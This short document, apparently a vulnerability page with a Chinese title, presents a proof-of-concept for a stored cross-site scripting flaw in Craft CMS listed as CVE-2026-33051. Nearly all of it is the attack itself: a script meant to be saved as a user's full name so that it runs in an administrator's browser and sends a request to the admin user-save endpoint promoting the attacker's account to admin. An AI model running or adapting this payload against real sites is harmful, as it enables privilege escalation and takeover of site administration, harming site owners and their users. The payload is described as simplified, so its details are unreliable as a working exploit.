CVE-2026-33051 Craft CMS跨站脚本漏洞

<!-- PoC for CVE-2026-33051: Stored XSS in Craft CMS Description: Set this payload as the user's fullName in the profile editor. Impact: Executes arbitrary JavaScript in the administrator's browser context. --> <script> // Example payload to escalate privileges // Replace ATTACKER_USER_ID with the actual ID of the attacker's account var attackerId = 'ATTACKER_USER_ID'; fetch('/admin/users/save', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, // Payload to promote user to admin (simplified structure) body: 'userId=' + attackerId + '&newGroup=admin' }).then(response => { console.log('Privilege escalation attempt completed.'); }); </script>